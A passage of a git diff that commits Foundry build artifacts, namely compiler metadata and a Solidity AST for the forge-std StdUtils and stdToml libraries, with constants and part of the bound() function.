external"}},"id":11185,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"6176:37:10","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11186,"nodeType":"ExpressionStatement","src":"6176:37:10"}]},"implemented":true,"kind":"function","modifiers":[],"name":"write","nameLocation":"6084:5:10","parameters":{"id":11177,"nodeType":"ParameterList","parameters":[{"constant":false,"id":11172,"mutability":"mutable","name":"jsonKey","nameLocation":"6104:7:10","nodeType":"VariableDeclaration","scope":11188,"src":"6090:21:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11171,"name":"string","nodeType":"ElementaryTypeName","src":"6090:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11174,"mutability":"mutable","name":"path","nameLocation":"6127:4:10","nodeType":"VariableDeclaration","scope":11188,"src":"6113:18:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11173,"name":"string","nodeType":"ElementaryTypeName","src":"6113:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":11176,"mutability":"mutable","name":"valueKey","nameLocation":"6147:8:10","nodeType":"VariableDeclaration","scope":11188,"src":"6133:22:10","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":11175,"name":"string","nodeType":"ElementaryTypeName","src":"6133:6:10","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"6089:67:10"},"returnParameters":{"id":11178,"nodeType":"ParameterList","parameters":[],"src":"6166:0:10"},"scope":11189,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdToml","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[11189],"name":"stdToml","nameLocation":"618:7:10","scope":11190,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":10} \ No newline at end of file diff --git a/contracts/out/StdUtils.sol/StdUtils.json b/contracts/out/StdUtils.sol/StdUtils.json new file mode 100644 index 000000000..b1532d1a0 --- /dev/null +++ b/contracts/out/StdUtils.sol/StdUtils.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdUtils.sol\":\"StdUtils\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdUtils.sol\":{\"keccak256\":\"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61\",\"dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/StdUtils.sol":"StdUtils"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/StdUtils.sol","id":11976,"exportedSymbols":{"IMulticall3":[32316],"MockERC20":[32893],"MockERC721":[33498],"StdUtils":[11975],"VmSafe":[15098]},"nodeType":"SourceUnit","src":"32:10624:11","nodes":[{"id":11191,"nodeType":"PragmaDirective","src":"32:31:11","nodes":[],"literals":["solidity",">=","0.6",".2","<","0.9",".0"]},{"id":11192,"nodeType":"PragmaDirective","src":"65:33:11","nodes":[],"literals":["experimental","ABIEncoderV2"]},{"id":11194,"nodeType":"ImportDirective","src":"100:57:11","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IMulticall3.sol","file":"./interfaces/IMulticall3.sol","nameLocation":"-1:-1:-1","scope":11976,"sourceUnit":32317,"symbolAliases":[{"foreign":{"id":11193,"name":"IMulticall3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32316,"src":"108:11:11","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11196,"nodeType":"ImportDirective","src":"158:48:11","nodes":[],"absolutePath":"lib/forge-std/src/mocks/MockERC20.sol","file":"./mocks/MockERC20.sol","nameLocation":"-1:-1:-1","scope":11976,"sourceUnit":32894,"symbolAliases":[{"foreign":{"id":11195,"name":"MockERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32893,"src":"166:9:11","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11198,"nodeType":"ImportDirective","src":"207:50:11","nodes":[],"absolutePath":"lib/forge-std/src/mocks/MockERC721.sol","file":"./mocks/MockERC721.sol","nameLocation":"-1:-1:-1","scope":11976,"sourceUnit":33513,"symbolAliases":[{"foreign":{"id":11197,"name":"MockERC721","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33498,"src":"215:10:11","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11200,"nodeType":"ImportDirective","src":"258:32:11","nodes":[],"absolutePath":"lib/forge-std/src/Vm.sol","file":"./Vm.sol","nameLocation":"-1:-1:-1","scope":11976,"sourceUnit":15674,"symbolAliases":[{"foreign":{"id":11199,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"266:6:11","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":11975,"nodeType":"ContractDefinition","src":"292:10363:11","nodes":[{"id":11206,"nodeType":"VariableDeclaration","src":"535:96:11","nodes":[],"constant":true,"mutability":"constant","name":"multicall","nameLocation":"564:9:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_IMulticall3_$32316","typeString":"contract IMulticall3"},"typeName":{"id":11202,"nodeType":"UserDefinedTypeName","pathNode":{"id":11201,"name":"IMulticall3","nameLocations":["535:11:11"],"nodeType":"IdentifierPath","referencedDeclaration":32316,"src":"535:11:11"},"referencedDeclaration":32316,"src":"535:11:11","typeDescriptions":{"typeIdentifier":"t_contract$_IMulticall3_$32316","typeString":"contract IMulticall3"}},"value":{"arguments":[{"hexValue":"307863413131626465303539373762333633313136373032383836326245326131373339373643413131","id":11204,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"588:42:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0xcA11bde05977b3631167028862bE2a173976CA11"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":11203,"name":"IMulticall3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":32316,"src":"576:11:11","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IMulticall3_$32316_$","typeString":"type(contract IMulticall3)"}},"id":11205,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"576:55:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IMulticall3_$32316","typeString":"contract IMulticall3"}},"visibility":"private"},{"id":11223,"nodeType":"VariableDeclaration","src":"637:92:11","nodes":[],"constant":true,"mutability":"constant","name":"vm","nameLocation":"661:2:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"},"typeName":{"id":11208,"nodeType":"UserDefinedTypeName","pathNode":{"id":11207,"name":"VmSafe","nameLocations":["637:6:11"],"nodeType":"IdentifierPath","referencedDeclaration":15098,"src":"637:6:11"},"referencedDeclaration":15098,"src":"637:6:11","typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"value":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"hexValue":"6865766d20636865617420636f6465","id":11217,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"707:17:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""},"value":"hevm cheat code"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d","typeString":"literal_string \"hevm cheat code\""}],"id":11216,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"697:9:11","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":11218,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"697:28:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":11215,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"689:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":11214,"name":"uint256","nodeType":"ElementaryTypeName","src":"689:7:11","typeDescriptions":{}}},"id":11219,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"689:37:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":11213,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"681:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":11212,"name":"uint160","nodeType":"ElementaryTypeName","src":"681:7:11","typeDescriptions":{}}},"id":11220,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"681:46:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":11211,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"673:7:11","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":11210,"name":"address","nodeType":"ElementaryTypeName","src":"673:7:11","typeDescriptions":{}}},"id":11221,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"673:55:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":11209,"name":"VmSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15098,"src":"666:6:11","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_VmSafe_$15098_$","typeString":"type(contract VmSafe)"}},"id":11222,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"666:63:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_VmSafe_$15098","typeString":"contract VmSafe"}},"visibility":"private"},{"id":11226,"nodeType":"VariableDeclaration","src":"735:86:11","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE2_ADDRESS","nameLocation":"760:16:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11224,"name":"address","nodeType":"ElementaryTypeName","src":"735:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":11225,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"779:42:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"},"visibility":"private"},{"id":11229,"nodeType":"VariableDeclaration","src":"827:127:11","nodes":[],"constant":true,"mutability":"constant","name":"INT256_MIN_ABS","nameLocation":"852:14:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11227,"name":"uint256","nodeType":"ElementaryTypeName","src":"827:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"3537383936303434363138363538303937373131373835343932353034333433393533393236363334393932333332383230323832303139373238373932303033393536353634383139393638","id":11228,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"877:77:11","typeDescriptions":{"typeIdentifier":"t_rational_57896044618658097711785492504343953926634992332820282019728792003956564819968_by_1","typeString":"int_const 5789...(69 digits omitted)...9968"},"value":"57896044618658097711785492504343953926634992332820282019728792003956564819968"},"visibility":"private"},{"id":11232,"nodeType":"VariableDeclaration","src":"960:129:11","nodes":[],"constant":true,"mutability":"constant","name":"SECP256K1_ORDER","nameLocation":"985:15:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11230,"name":"uint256","nodeType":"ElementaryTypeName","src":"960:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383532383337353634323739303734393034333832363035313633313431353138313631343934333337","id":11231,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1011:78:11","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907852837564279074904382605163141518161494337_by_1","typeString":"int_const 1157...(70 digits omitted)...4337"},"value":"115792089237316195423570985008687907852837564279074904382605163141518161494337"},"visibility":"private"},{"id":11235,"nodeType":"VariableDeclaration","src":"1095:125:11","nodes":[],"constant":true,"mutability":"constant","name":"UINT256_MAX","nameLocation":"1120:11:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11233,"name":"uint256","nodeType":"ElementaryTypeName","src":"1095:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"value":{"hexValue":"313135373932303839323337333136313935343233353730393835303038363837393037383533323639393834363635363430353634303339343537353834303037393133313239363339393335","id":11234,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1142:78:11","typeDescriptions":{"typeIdentifier":"t_rational_115792089237316195423570985008687907853269984665640564039457584007913129639935_by_1","typeString":"int_const 1157...(70 digits omitted)...9935"},"value":"115792089237316195423570985008687907853269984665640564039457584007913129639935"},"visibility":"private"},{"id":11238,"nodeType":"VariableDeclaration","src":"1339:85:11","nodes":[],"constant":true,"mutability":"constant","name":"CREATE2_FACTORY","nameLocation":"1364:15:11","scope":11975,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":11236,"name":"address","nodeType":"ElementaryTypeName","src":"1339:7:11","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"hexValue":"307834653539623434383437623337393537383538383932306341373846624632366330423439353643","id":11237,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1382:42:11","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x4e59b44847b379578588920cA78FbF26c0B4956C"},"visibility":"private"},{"id":11368,"nodeType":"FunctionDefinition","src":"1646:1263:11","nodes":[],"body":{"id":11367,"nodeType":"Block","src":"1746:1163:11","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11252,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11250,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"1764:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":11251,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"1771:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"1764:10:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"5374645574696c7320626f756e642875696e743235362c75696e743235362c75696e74323536293a204d6178206973206c657373207468616e206d696e2e","id":11253,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1776:64:11","typeDescriptions":{"typeIdentifier":"t_stringliteral_16c21f4eccdbbd49e5dc1331f271d929c25cafaf25207892b67e15553a16c5f2","typeString":"literal_string \"StdUtils bound(uint256,uint256,uint256): Max is less than min.\""},"value":"StdUtils bound(uint256,uint256,uint256): Max is less than min."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_16c21f4eccdbbd49e5dc1331f271d929c25cafaf25207892b67e15553a16c5f2","typeString":"literal_string \"StdUtils bound(uint256,uint256,uint256): Max is less than min.\""}],"id":11249,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1756:7:11","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":11254,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1756:85:11","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":11255,"nodeType":"ExpressionStatement","src":"1756:85:11"},{"condition":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":11262,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11258,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11256,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2070:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"id":11257,"name":"min","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11242,"src":"2075:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2070:8:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11261,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11259,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2082:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"id":11260,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2087:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"2082:8:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"2070:20:11","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":11265,"nodeType":"IfStatement","src":"2066:34:11","trueBody":{"expression":{"id":11263,"name":"x","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11240,"src":"2099:1:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":11248,"id":11264,"nodeType":"Return","src":"2092:8:11"}},{"assignments":[11267],"declarations":[{"constant":false,"id":11267,"mutability":"mutable","name":"size","nameLocation":"2119:4:11","nodeType":"VariableDeclaration","scope":11367,"src":"2111:12:11","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":11266,"name":"uint256","nodeType":"ElementaryTypeName","src":"2111:7:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":11273,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11272,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":11270,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":11268,"name":"max","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":11244,"src":"2126:3:11","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeTy